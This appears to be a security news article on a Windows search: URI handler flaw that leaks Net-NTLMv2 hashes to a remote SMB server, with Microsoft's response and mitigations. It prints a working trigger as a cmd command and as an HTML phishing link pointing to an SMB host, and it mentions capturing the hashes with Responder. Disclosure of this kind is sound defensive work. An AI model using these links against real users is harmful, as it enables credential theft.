Windows Search URI Handler Flaw Leaks NTLMv2 Hashes to

A newly disclosed vulnerability in the Windows search URI handler can silently exfiltrate NTLMv2 hashes. Attackers can leverage this flaw to leak these sensitive hashes to their controlled servers, requiring nothing more than a single link click from a victim.

This behavior is the same bug class as CVE-2026-33829 in the Snipping Tool, but Microsoft has assigned no CVE and shipped no fix for this variant.

On April 14, 2026, Microsoft patched CVE-2026-33829, an NTLM credential leakage issue in the Snipping Tool’s ms-screensketch: URI handler.

That bug allowed attackers to supply a filePath parameter pointing to a remote UNC path, triggering outbound SMB authentication and exposing the victim’s Net-NTLMv2 hash.

Windows Search URI Flaw Leaks

A user could be tricked into clicking what appeared to be a normal link, and their machine would automatically try to “check in” to an attacker’s SMB server.

Huntress found that the same primitive exists in the Windows search URI handler, using crumb=location instead of filePath, but producing the same Net-NTLMv2 leakage to an attacker’s SMB endpoint.

The bug was reproduced on Windows 11 25H2 Pro (Build 26200.8524) under a standard user account with default Defender settings and no special developer or AppX configuration.

From a command prompt, the following is enough to trigger the leak:

start “” “search:query=test&crumb=location:10.0.1.100share”

The quoting and start “” wrapper matter; without them, cmd parses the & character as a command separator, and the payload appears to “break.”

When triggered correctly, Windows shows an “access denied” style error dialog, but only after the NTLMv2 hash has already been sent to the remote server.

Only the first invocation per logon leaks the hash; subsequent attempts return access denied until the user logs off and back on. For phishing, that first click is all an attacker needs.

Crucially, this is not limited to typed commands. Embedding a link such as:

<a href=”search:query=test&crumb=location:10.0.1.100share”>click</a>

In a browser like Microsoft Edge, simply loading the URI triggers SMB authentication and sends the hash to an attacker running Responder on a remote host. One click, no prompt, no download.

Under the hood, both search and search-ms are registered separately in HKCR, but they share the same command line and DelegateExecute CLSID, {90b9bce2-b6db-4fd3-8451-35917ea1081b}, which maps to the SearchExecute (CLSID_SearchMSExecute) COM class in ExplorerFrame.dll.

That means both URI schemes effectively hit the same COM activation path, and any missing input validation in SearchExecute affects them equally.

A real fix has to land in SearchExecute or Explorer’s search handling, not just at the URI-registration level. Varonis previously documented a crumb location an UNC-based NTLM leakage primitive via search-ms in 2024. Trellix documented search: as an attack surface in 2023.

However, the combination of bare search: plus crumb=location: for NTLM leakage appears to be new in public reporting.

CVE-2026-33829 and the Huntress-discovered search issue share the same vulnerability class (NTLM leakage via URI handler), the same effective CVSS vector (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N), and the same Moderate severity rating.

Still, Microsoft chose to patch and assign a CVE for Snipping Tool, while closing the search case as “below the servicing bar” and explicitly describing servicing as exception-driven and “case-by-case.”

Huntress recommends blocking outbound SMB (TCP 445 and 139) from hosts that do not need it as the single highest-value mitigation for this entire NTLM leakage class.

Enforcing SMB signing, restricting or disabling NTLM (for example, setting RestrictSendingNTLMTraffic to 2 after careful auditing), and alerting on search: and search-ms: URIs in mail and proxy logs can significantly reduce exposure to this entire NTLM leakage class.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.